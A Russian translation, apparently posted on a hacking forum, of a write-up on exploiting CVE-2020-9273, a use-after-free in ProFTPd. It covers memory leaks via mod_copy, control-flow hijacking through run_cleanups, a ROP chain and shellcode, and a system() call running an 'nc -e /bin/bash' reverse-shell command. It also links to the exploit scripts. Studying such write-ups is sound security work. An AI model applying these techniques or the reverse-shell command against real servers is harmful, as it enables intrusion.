• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Поразвлекаемся с Use-After-Free в ProFTPd (CVE-2020-9273)

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Уважаемые комрады, сегодняшняя проповедь посвящена созданию PoC для уязвимости Use-After-Free в ProFTPd, которая может быть активирована после аутентификации и может привести к удаленному выполнению кода после аутентификации. Пожалуйста, присаживайтесь и слушайте мою сказку.

Введение

В этом посте будет проанализирована уязвимость и способы ее использования в обход всех средств защиты от эксплойтов памяти, имеющихся по умолчанию (ASLR, PIE, NX, Full RELRO, Stack Canaries и т.д.)

Прежде всего хочу отметить:

- @ DUKPT_, который также работал над PoC для этой уязвимости, за свой подход к перезаписи gid_tab->pool, который я решил использовать в эксплойте (будет объяснено позже в этом посте)

- Antonio Morales @nosoynadiemas за обнаружение этой уязвимости, вы можете найти дополнительную информацию о том, как он ее обнаружил, в его посте Fuzzing sockets, часть 1: FTP-серверы

Уязвимость

Чтобы вызвать уязвимость, нам нужно сначала запустить передачу нового канала данных, а затем прервать передачу через командный канал, пока канал данных все еще открыт.

Используя канал данных, мы можем заполнить динамическую память, чтобы перезаписать структуру resp_pool, которая на данный момент является session.curr_cmd_rec->pool.

Результатом успешного срабатывания уязвимости является полный контроль над resp_pool:

gef➤ p p
$3 = (struct pool_rec *) 0x555555708220
gef➤ p resp_pool
$4 = (pool *) 0x555555708220
gef➤ p session.curr_cmd_rec->pool
$5 = (struct pool_rec *) 0x555555708220
gef➤ p *resp_pool
$6 = {
first = 0x4141414141414141,
last = 0x4141414141414141,
cleanups = 0x4141414141414141,
sub_pools = 0x4141414141414141,
sub_next = 0x4141414141414141,
sub_prev = 0x4141414141414141,
parent = 0x4141414141414141,
free_first_avail = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>,
tag = 0x4141414141414141 <error: Cannot access memory at address 0x4141414141414141>
}

Очевидно, что, поскольку в структуре нет действительных указателей, мы получаем ошибку сегментации в этой строке кода:

C:
first_avail = blok->h.first_avail

blok, который совпадает с p->last значением, в то время равен 0x4141414141414141

Распределитель пула ProFTPd

Распределитель пула ProFTPd такой же, как и у Apache.

Распределение здесь происходит с использованием palloc() и pcalloc(), которые являются функциями оболочки для alloc_pool().

ProFTPd Pool Allocator работает с блоками, которые являются фактическими кусками кучи glibc.

Каждый блок имеет структуру заголовка block_hdr, которая определяет его:
C:
union block_hdr {
  union align a;

  /* Padding */
#if defined(_LP64) || defined(__LP64__)
  char pad[32];
#endif

  /* Actual header */
  struct {
    void *endp;
    union block_hdr *next;
    void *first_avail;
  } h;
};

- blok->h.endp указывает на конец текущего блока

- blok->h.next указывает на следующий блок в связанном списке

- blok->h.first_avail указывает на первую доступную память в этом блоке


Это код alloc_pool():

C:
static void *alloc_pool(struct pool_rec *p, size_t reqsz, int exact) {

  size_t nclicks = 1 + ((reqsz - 1) / CLICK_SZ);
  size_t sz = nclicks * CLICK_SZ;
  union block_hdr *blok;
  char *first_avail, *new_first_avail;

  blok = p->last;
  if (blok == NULL) {
    errno = EINVAL;
    return NULL;
  }

  first_avail = blok->h.first_avail;

  if (reqsz == 0) {
    errno = EINVAL;
    return NULL;
  }

  new_first_avail = first_avail + sz;

  if (new_first_avail <= (char *) blok->h.endp) {
    blok->h.first_avail = new_first_avail;
    return (void *) first_avail;
  }

  pr_alarms_block();

  blok = new_block(sz, exact);
  p->last->h.next = blok;
  p->last = blok;

  first_avail = blok->h.first_avail;
  blok->h.first_avail = sz + (char *) blok->h.first_avail;

  pr_alarms_unblock();
  return (void *) first_avail;
}

Как мы видим, он сначала пытается использовать память в том же блоке, если нет места, выделяет новый блок с помощью new_block() и обновляет последний блок пула при p->last.

Заголовки пула, определенные структурой pool_rec, сохраняются сразу после первого блока, созданного для этого пула, как мы можем видеть на make_sub_pool(), который создает новый пул:

C:
struct pool_rec *make_sub_pool(struct pool_rec *p) {
  union block_hdr *blok;
  pool *new_pool;

  pr_alarms_block();

  blok = new_block(0, FALSE);

  new_pool = (pool *) blok->h.first_avail;
  blok->h.first_avail = POOL_HDR_BYTES + (char *) blok->h.first_avail;

  memset(new_pool, 0, sizeof(struct pool_rec));
  new_pool->free_first_avail = blok->h.first_avail;
  new_pool->first = new_pool->last = blok;

  if (p) {
    new_pool->parent = p;
    new_pool->sub_next = p->sub_pools;

    if (new_pool->sub_next)
      new_pool->sub_next->sub_prev = new_pool;

    p->sub_pools = new_pool;
  }

  pr_alarms_unblock();

  return new_pool;
}

Фактически make_sub_pool() также отвечает за создание постоянного пула, у которого нет родителя. При этом p будет NULL.

Глядя на код make_sub_pool(), вы можете понять, что он получает новый блок, и сразу после заголовков block_hdr вводятся заголовки pool_rec, а blok->h.first_avail обновляется, чтобы указывать сразу после него.

Затем инициализируются записи нового созданного пула.

Запись p->cleanups - это указатель на структуру cleanup_t:

C:
typedef struct cleanup {
  void *data;
  void (*plain_cleanup_cb)(void *);
  void (*child_cleanup_cb)(void *);
  struct cleanup *next;

} cleanup_t;

Очистки интерпретируются функцией run_cleanups() и регистрируются функцией register_cleanup().

Цепочку блоков можно освободить с помощью free_blocks():

C:
static void free_blocks(union block_hdr *blok, const char *pool_tag) {

  union block_hdr *old_free_list = block_freelist;

  if (!blok)
    return;

  block_freelist = blok;

  while (blok->h.next) {
    chk_on_blk_list(blok, old_free_list, pool_tag);
    blok->h.first_avail = (char *) (blok + 1);
    blok = blok->h.next;
  }

  chk_on_blk_list(blok, old_free_list, pool_tag);
  blok->h.first_avail = (char *) (blok + 1);
  blok->h.next = old_free_list;
}

Анализ эксплуатации

У нас есть контроль над действительно интересной структурой pool_rec, теперь нам может потребоваться поиск примитивов, которые позволят нам получить что-то полезное от этой уязвимости, например, получение удаленного выполнения кода.

Утечка адресов памяти

Очевидно, что для использования этой уязвимости предсказуемые адреса памяти являются обязательным требованием перед использованием примитивов, поскольку в этом случае эксплуатация заключается в игре с указателями, структурами и записями в память.

Утечка адресов памяти в этой ситуации действительно сложна, поскольку мы находимся в процессе очистки/завершения сеанса и запускаем уязвимость, которая нам действительно нужна для создания прерывания.

Сначала я подумал о чтении файла /proc/self/maps, который может читать любой процесс, даже с низкими привилегиями.

Возможно, теоретически это сработает, к сожалению, ProFTPd использует системный вызов stat для получения размера файла, так как stat по псевдофайлам, таким как maps , возвращает ноль, это прерывает передачу, и 0 байтов возвращается клиенту по каналу данных.

Подумав о дополнительных способах сделать это, я понял о mod_copy, модуле в ProFTPd, который позволяет копировать файлы на сервере.

Мы можем использовать mod_copy для копирования файла из/proc/self/ maps в /tmp, и, оказавшись там, мы выполняем обычную передачу файла в /tmp, который сейчас не является псевдо-файлом, поэтому /proc/self /maps контент будет возвращен злоумышленнику.

Эта утечка действительно интересна, поскольку она дает вам адреса для каждого сегмента и даже имя файла общих библиотек, которые иногда содержат версии, такие как libc-2.31.so, и это действительно интересно с точки зрения надежности эксплойта, мы могли бы использовать смещения для конкретных libc версии.

Взлом потока управления

Мы должны преобразовать наш контроль над session.curr_cmd_rec→pool в любой примитив записи, позволяющий нам каким-то образом достичь run_cleanups() с произвольной структурой cleanup_t.

При поиске записи записи в структуру не было ничего полезного, что позволило бы нам напрямую писать примитивы «write-what-where а» (это было бы намного проще).

Вместо этого единственный способ записать что-либо на произвольных адресах - это использовать make_sub_pool() (в pool.c: 415), который в какой-то момент вызывается с cmd->pool в качестве аргумента:

C:
struct pool_rec *make_sub_pool(struct pool_rec *p) {
  union block_hdr *blok;
  pool *new_pool;

  pr_alarms_block();

  blok = new_block(0, FALSE);

  new_pool = (pool *) blok->h.first_avail;
  blok->h.first_avail = POOL_HDR_BYTES + (char *) blok->h.first_avail;

  memset(new_pool, 0, sizeof(struct pool_rec));
  new_pool->free_first_avail = blok->h.first_avail;
  new_pool->first = new_pool->last = blok;

  if (p) {
    new_pool->parent = p;
    new_pool->sub_next = p->sub_pools;

    if (new_pool->sub_next)
      new_pool->sub_next->sub_prev = new_pool;

    p->sub_pools = new_pool;
  }

  pr_alarms_unblock();

  return new_pool;
}

Эта функция вызывается на main.c: 287 из функции _dispatch() с нашим управляемым пулом в качестве аргумента:

C:
...

      if (cmd->tmp_pool == NULL) {
        cmd->tmp_pool = make_sub_pool(cmd->pool);
        pr_pool_tag(cmd->tmp_pool, "cmd_rec tmp pool");
      }
    
...

Как вы можете видеть, new_pool->sub_next теперь имеет значение p-> sub_pools, которое контролируется, затем мы вводим в new_pool->sub_next-> sub_prev указатель new_pool.

Это означает, что мы можем записать на любой произвольный адрес значение new_pool, которое, по-видимому, не так полезно, поскольку единственное отношение, которое у нас есть с этим вновь созданным пулом cmd->tmp_pool, - это cmd->tmp_pool->parent равен resp_pool, поскольку мы являемся для него родительским пулом.

Также единственное значение, которое мы контролируем, - это new_pool-> sub_next, которое мы фактически используем для примитива записи.

Какие еще есть интересные примитивы?

В предыдущем разделе мы объяснили, как работает распределитель пула ProFTPd, когда создается новый пул, p->first и p->last указывают на блоки, используемые для пула, нас интересует p->last, поскольку это блок, который фактически используется, как мы можем видеть на alloc_pool()в pool.c: 570:

C:
...

  blok = p->last;
  if (blok == NULL) {
    errno = EINVAL;
    return NULL;
  }

  first_avail = blok->h.first_avail;
 
...

first_avail - это указатель на предел между используемыми данными и доступным свободным пространством, с которого мы начнем выделять память.

Наш пул передается в pstrdup() несколько раз для выделения строки:

C:
char *pstrdup(pool *p, const char *str) {
  char *res;
  size_t len;

  if (p == NULL ||
      str == NULL) {
    errno = EINVAL;
    return NULL;
  }

  len = strlen(str) + 1;

  res = palloc(p, len);
  if (res != NULL) {
    sstrncpy(res, str, len);
  }

  return res;
}

Эта функция вызывает palloc(),который в итоге вызывает alloc_pool().

Выделения в основном представляют собой неконтролируемые строки, которые кажутся нам бесполезными, за исключением одного выделения в cmd.c: 373 в функции pr_cmd_get_displayable_str():

C:
...

  if (pr_table_add(cmd->notes, pstrdup(cmd->pool, "displayable-str"),
      pstrdup(cmd->pool, res), 0) < 0) {
    if (errno != EEXIST) {
      pr_trace_msg(trace_channel, 4,
        "error setting 'displayable-str' command note: %s", strerror(errno));
    }
  }
 
...

Как видите, cmd->pool (наш управляемый пул) передается в pstrdup(), как видно из cmd.c: 363:

C:
...

  if (argc > 0) {
    register unsigned int i;

    res = pstrcat(p, res, pr_fs_decode_path(p, argv[0]), NULL);

    for (i = 1; i < argc; i++) {
      res = pstrcat(p, res, " ", pr_fs_decode_path(p, argv[i]), NULL);
    }
  }

...

res указывает на нашу последнюю отправленную команду

C:
...

  if (pr_table_add(cmd->notes, pstrdup(cmd->pool, "displayable-str"),
      pstrdup(cmd->pool, res), 0) < 0) {
    if (errno != EEXIST) {
      pr_trace_msg(trace_channel, 4,
        "error setting 'displayable-str' command note: %s", strerror(errno));
    }
  }
 
...

Это означает, что если мы отправим произвольные данные вместо команды, мы сможем ввести пользовательские данные в пространство блока пула, и, поскольку мы можем повредить p->last, мы можем сделать так, чтобы blok-> h.first_avail указывал на любой адрес, который мы хотим, а это означает мы можем перезаписать через команду любые данные.

К сожалению, это не похоже на наше повреждение из канала данных, поскольку здесь наши команды обрабатываются как строки, а не двоичные данные, как это делает канал данных.

Это означает, что мы очень ограничены в перезаписи структур или любых полезных данных.

Кроме того, некоторые выделения происходят раньше, и куча от начального значения blok->h.first_avail до этого значения, когда происходит pstrdup() в нашей команде будет заполнена строками и недействительными указателями, которые, вероятно, могут закончиться сбоем до достижения run_cleanups().

Изначально я решил использовать blok->h.first_avail для перезаписи записей cmd->tmp_pool произвольными данными.

Этот пул освобождается с помощью destroy_pool() на main.c: 409 в функции _dispatch():

C:
...

      destroy_pool(cmd->tmp_pool);
      cmd->tmp_pool = NULL;
    
...

Это означает, что если мы будем контролировать значение cmd->tmp_pool-> cleanups при достижении clear_pool(), у нас будет возможность управлять RIP и RDI после вызова run_cleanups():

C:
void destroy_pool(pool *p) {
  if (p == NULL) {
    return;
  }

  pr_alarms_block();

  if (p->parent) {
    if (p->parent->sub_pools == p) {
      p->parent->sub_pools = p->sub_next;
    }

    if (p->sub_prev) {
      p->sub_prev->sub_next = p->sub_next;
    }

    if (p->sub_next) {
    
      p->sub_next->sub_prev = p->sub_prev;
    }
  }

  clear_pool(p);
  free_blocks(p->first, p->tag);

  pr_alarms_unblock();
 
}

Как вы можете видеть, clear_pool() вызывается, но после доступа к некоторым записям пула, которые должны быть либо NULL, либо действительным адресом с возможностью записи.

После вызова clear_pool() идет так:

C:
static void clear_pool(struct pool_rec *p) {

  /* Sanity check. */
  if (p == NULL) {
    return;
  }

  pr_alarms_block();

  run_cleanups(p->cleanups);
  p->cleanups = NULL;

  while (p->sub_pools) {
    destroy_pool(p->sub_pools);
  }

  p->sub_pools = NULL;

  free_blocks(p->first->h.next, p->tag);
  p->first->h.next = NULL;

  p->last = p->first;
  p->first->h.first_avail = p->free_first_avail;

  pr_alarms_unblock();
}

Мы видим, что run_cleanups() вызывается напрямую, без дополнительных проверок/операций записи в память.

При вызове функции run_cleanups():

C:
static void run_cleanups(cleanup_t *c) {
  while (c) {
    if (c->plain_cleanup_cb) {
      (*c->plain_cleanup_cb)(c->data);
    }

    c = c->next;
  }
}

Глядя на структуру cleanup_t:

C:
typedef struct cleanup {
  void *data;
  void (*plain_cleanup_cb)(void *);
  void (*child_cleanup_cb)(void *);
  struct cleanup *next;

} cleanup_t;

Мы можем управлять RIP с помощью c->plain_cleanup_cb и RDI с помощью c->data

К сожалению, разрушить cmd->tmp_pool сложно, так как строка displayable-str добавляется сразу после наших контролируемых данных, а сразу после нашей записи p->cleanup есть некоторые записи, к которым осуществляется доступ в destroy_pool() до достижения run_cleanups().

@DUKPT_, который также работает над PoC для этой уязвимости, перезаписывал gid_tab->pool. Это более надежный метод, поскольку после наших контролируемых данных нет указателей, поэтому, когда добавляется displayable-str, ничего серьезного не будет нарушено, а также здесь, вместо того, чтобы повредить структуру pool_rec, мы повреждаем структуру pr_table_t, поэтому мы может указать gid_tab->pool на память, поврежденную из канала данных, который также принимает NULL, и мы можем создать поддельную структуру pool_rec с произвольным значением p->cleanup в поддельную структуру cleanup_t, которая, наконец, будет передана в run_cleanups().

Интересное использование gid_tab также в том, что gid_tab->pool передается в destroy_pool() в pr_table_free() с аргументом gid_tab:

C:
int pr_table_free(pr_table_t *tab) {

  if (tab == NULL) {
    errno = EINVAL;
    return -1;
  }

  if (tab->nents != 0) {
    errno = EPERM;
    return -1;
  }

  destroy_pool(tab->pool);
  return 0;
}

Вот как выглядит pr_table_t:

C:
struct table_rec {
  pool *pool;
  unsigned long flags;
  unsigned int seed;
  unsigned int nmaxents;
  pr_table_entry_t **chains;
  unsigned int nchains;
  unsigned int nents;
  pr_table_entry_t *free_ents;
  pr_table_key_t *free_keys;
  pr_table_entry_t *tab_iter_ent;
  pr_table_entry_t *val_iter_ent;
  pr_table_entry_t *cache_ent;
  int (*keycmp)(const void *, size_t, const void *, size_t);
  unsigned int (*keyhash)(const void *, size_t);
  void (*entinsert)(pr_table_entry_t **, pr_table_entry_t *);
  void (*entremove)(pr_table_entry_t **, pr_table_entry_t *);
};

...

typedef struct table_rec pr_table_t;

Как вы можете видеть после tab->pool (tab->flags, tab->seed и tab->nmaxents) нет указателей, поэтому добавленная строка не вызовет сбоев

Итак, каков план?

1) Создайте поддельную структуру block_hdr, на которую будет указывать p-> last

2) Введите в fake_blok->h.first_avail указатель на gid_tab за вычетом некоторого смещения, где смещение зависит от количества выделений и их размера, поэтому, когда pstrdup() копирует нашу произвольную команду, значение fake_blok->h.first_avail точно равно адрес gid_tab, чтобы соответствовать нашему адресу

3) Введите в p->sub_next адрес tab->chains , чтобы при вызове pr_table_kget() возвращалось NULL, чтобы назначить нашу произвольную команду.

4) Отправьте пользовательскую команду с поддельной pr_table_t, на самом деле, нужен только tab->pool, и укажите fake_tab->pool на поддельную структуру pool_rec

5) Создайте поддельную структуру pool_rec, укажите fake_pool->parent, fake_pool->sub_next и fake_pool->sub_prev на любой доступный для записи адрес, а fake_pool->cleanup в поддельную структуру cleanup_t, содержащую наши произвольные значения RIP и RDI.

Это результат использования техники угона:

Код:
*0x4242424242424242 (
   $rdi = 0x4141414141414141,
   $rsi = 0x0000000000000000,
   $rdx = 0x4242424242424242,
   $rcx = 0x0000555555579c00 → <entry_remove+0> endbr64
)

Как видите, c->plain_cleanup_cb имеет значение 0 x 4242424242424242, а c-> data имеет значение 0x4141414141414141.

Это означает, что RIP и RDI полностью контролируются.

Получение RCE

Как объяснялось, наша основная цель - достичь функции run_cleanups() с произвольным адресом или с непроизвольным адресом, но контролировать ее содержимое. Это позволяет нам получить полный контроль RIP и RDI, что с учетом того, что у нас уже есть предсказуемые адреса для каждого сегмента, означает, что удаленное выполнение кода, вероятно, возможно.

Некоторые способы получить удаленное выполнение кода:

Разворот стека, выполнение ROP и шелл-кода

Поскольку мы контролируем как RIP, так и RDI, мы могли бы искать полезные гаджеты, которые позволили бы нам перенаправлять поток управления с помощью ROPchain в обход NX.

При достижении run_cleanups()…

Код:
gef➤  p *c
$7 = {
  data = 0x563593915280,
  plain_cleanup_cb = 0x7f875ab201a1 <authnone_marshal+17>,
  child_cleanup_cb = 0x4141414141414141,
  next = 0x4242424242424242
}
gef➤  x/2i c->plain_cleanup_cb
   0x7f875ab201a1 <authnone_marshal+17>:    push   rdi
   0x7f875ab201a2 <authnone_marshal+18>:    pop    rsp
gef➤

При входе в гаджет разворота стека:

Код:
→ 0x7f875ab201a1 <authnone_marshal+17> push   rdi
   0x7f875ab201a2 <authnone_marshal+18> pop    rsp
   0x7f875ab201a3 <authnone_marshal+19> lea    rsi, [rdi+0x48]
   0x7f875ab201a7 <authnone_marshal+23> mov    rdi, r8
   0x7f875ab201aa <authnone_marshal+26> mov    rax, QWORD PTR [rax+0x18]
   0x7f875ab201ae <authnone_marshal+30> jmp    rax

Ранее мы создали нашу структуру resp_pool, чтобы указать rax на адрес, где хранится адрес, указывающий рядом с инструкцией ret. Так когда:

mov rax, QWORD PTR [rax+0x18]

выполняется, получаем в rax адрес, который будет использоваться только при следующей инструкции: jmp rax.

Поскольку он находится рядом с инструкцией ret, мы, наконец, выполним нашу ROPchain, поскольку мы указали rsp прямо перед нашей ROPchain, и инструкция ret только что была выполнена.
Код:
gef➤  p $rax
$5 = 0x563593915358
gef➤  x/gx $rax + 0x18
0x563593915370:    0x00007f875a9fc679
gef➤  x/i 0x00007f875a9fc679
   0x7f875a9fc679 <__libgcc_s_init+61>:    ret

На момент jmp rax:
Код:
  0x7f875ab201a3 <authnone_marshal+19> lea    rsi, [rdi+0x48]
   0x7f875ab201a7 <authnone_marshal+23> mov    rdi, r8
   0x7f875ab201aa <authnone_marshal+26> mov    rax, QWORD PTR [rax+0x18]
 → 0x7f875ab201ae <authnone_marshal+30> jmp    rax
   0x7f875ab201b0 <authnone_marshal+32> xor    eax, eax
   0x7f875ab201b2 <authnone_marshal+34> ret 

--------------------------------------------------------------

gef➤  p $rax
$6 = 0x7f875a9fc679
gef➤  x/i $rax
   0x7f875a9fc679 <__libgcc_s_init+61>:    ret

И мы видим, что стек был успешно развернут:
Код:
gef➤  p $rsp
$7 = (void *) 0x563593915358
gef➤  x/gx 0x563593915358
0x563593915358:    0x00007f875aa21550
gef➤  x/i 0x00007f875aa21550
   0x7f875aa21550 <mblen+112>:    pop    rax

ROPchain установит системный вызов SYS_mprotect, который изменит защиту памяти для диапазона кучи на RXW. Затем мы перейдем к шеллкоду и, наконец, достигнем удаленного выполнения кода.

Если мы проверим сопоставления с помощью gdb, мы увидим, что часть кучи теперь является RWX, где на самом деле находится шелл-код:

0x0000563593889000 0x00005635938cb000 0x0000000000000000 rw- [heap]
0x00005635938cb000 0x0000563593915000 0x0000000000000000 rw- [heap]
0x0000563593915000 0x0000563593916000 0x0000000000000000 rwx [heap]
0x0000563593916000 0x000056359394e000 0x0000000000000000 rw- [heap]


Теперь мы переходим к шеллкоду, так как он теперь находится в исполняемой памяти, поэтому удаленное выполнение кода выполнено успешно:

0x7f875aa3d229 <funlockfile+73> syscall
→ 0x7f875aa3d22b <funlockfile+75> ret
↳ 0x563593915310 push 0x29
0x563593915312 pop rax
0x563593915313 push 0x2
0x563593915315 pop rdi
0x563593915316 push 0x1
0x563593915318 pop rsi

Объединяя все это вместе в эксплойт, вот скриншот успешной эксплуатации этой уязвимости с использованием подхода ROP:

111.png


ret2libc or ret2X

Вы можете перейти к любой функции и управлять одним аргументом, это означает, что вы можете вызвать любую функцию с произвольным аргументом. Вы также можете повторно использовать значения регистров для других аргументов, но вы полагаетесь на то, что текущие регистры будут действительными для целевой функции, например: недопустимый указатель вызовет сбой.

Подход, которого я придерживался с этим методом, заключается в вызове system() и указании RDI на настраиваемую командную строку (обратная оболочка netcat), которую я оставляю в куче с предсказуемым адресом.

Сначала мы достигаем destroy_pool() с поддельной структурой pool_rec, фактически мы повторно используем записи из нашей изначально контролируемой структуры:

gef➤ p *p
$1 = {
first = 0x563f5c9c6280,
last = 0x7361626174614472,
cleanups = 0x563f5c9a62d0,
sub_pools = 0x563f5c9a6298,
sub_next = 0x563f5c9a62a0,
sub_prev = 0x563f5c9a0a90,
parent = 0x563f5c94a738,
free_first_avail = 0x563f5c94a7e0 "\260\251\224\\?V",
tag = 0x563f5c9a526e ""
}
gef➤ p *resp_pool
$2 = {
first = 0x563f5c9a62d0,
last = 0x563f5c9a6298,
cleanups = 0x563f5c9a62a0,
sub_pools = 0x563f5c9a0a90,
sub_next = 0x563f5c94a738,
sub_prev = 0x563f5c94a7e0,
parent = 0x563f5c9a526e,
free_first_avail = 0x563f5c9a526e "",
tag = 0x563f5c9a526e ""
}

Затем destroy_pool() будет вызывать clear_pool(), который, наконец, вызывает run_cleanups() с нашей фальшивой структурой cleanup_t, на которую указывает p->cleanups:
gef➤ p *c
$3 = {
data = 0x563f5c9a62f0,
plain_cleanup_cb = 0x7fca503f1410 <__libc_system>,
child_cleanup_cb = 0x4141414141414141,
next = 0x4242424242424242
}
gef➤ x/s c->data
0x563f5c9a62f0: "nc -e/bin/bash 127.0.0.1 4444"

Как мы видим, c->plain_cleanup_cb (будущий RIP) указывает на __libc_system (), а c->data указывает на нашу командную строку, хранящуюся в куче.

Результатом, если мы продолжим, будет выполнение нового процесса как части выполнения команды: процесс 35209 выполняет новую программу: / usr/bin/ncat

И, наконец, получение реверс шелла в качестве пользователя, с которым вы вошли на FTP-сервер.

222.png


RCE Video Demo также доступен на GitHub (в том же каталоге, где находится эксплойт)

Patch

Здесь вы можете найти проблему GitHub и исправления для этой уязвимости.

Заключение

В этом посте мы проанализировали и продемонстрировали использование Use-After-Free в ProFTPd и смогли получить полное удаленное выполнение кода даже при включенных всех защитах (ASLR, PIE, NX, RELRO, STACKGUARD и т.д.)

Возможно, необходима аутентификация, иногда такая ситуация возникает у злоумышленника, но он не может продолжить работу без подобного эксплойта RCE.

Вы можете найти эксплойт ROP-подхода здесь (https://github.com/lockedbyte/CVE-Exploits/blob/master/CVE-2020-9273/exploit_rop.py).

Вы можете найти другой эксплойт, который использует system() и netcat здесь (https://github.com/lockedbyte/CVE-Exploits/blob/master/CVE-2020-9273/exploit.py).

EoF

Надеемся, вам понравилась эта статья! Не стесняйтесь оставлять отзывы в нашем твиттере


Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://adepts.of0x.cc/proftpd-cve-2020-9273-exploit/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх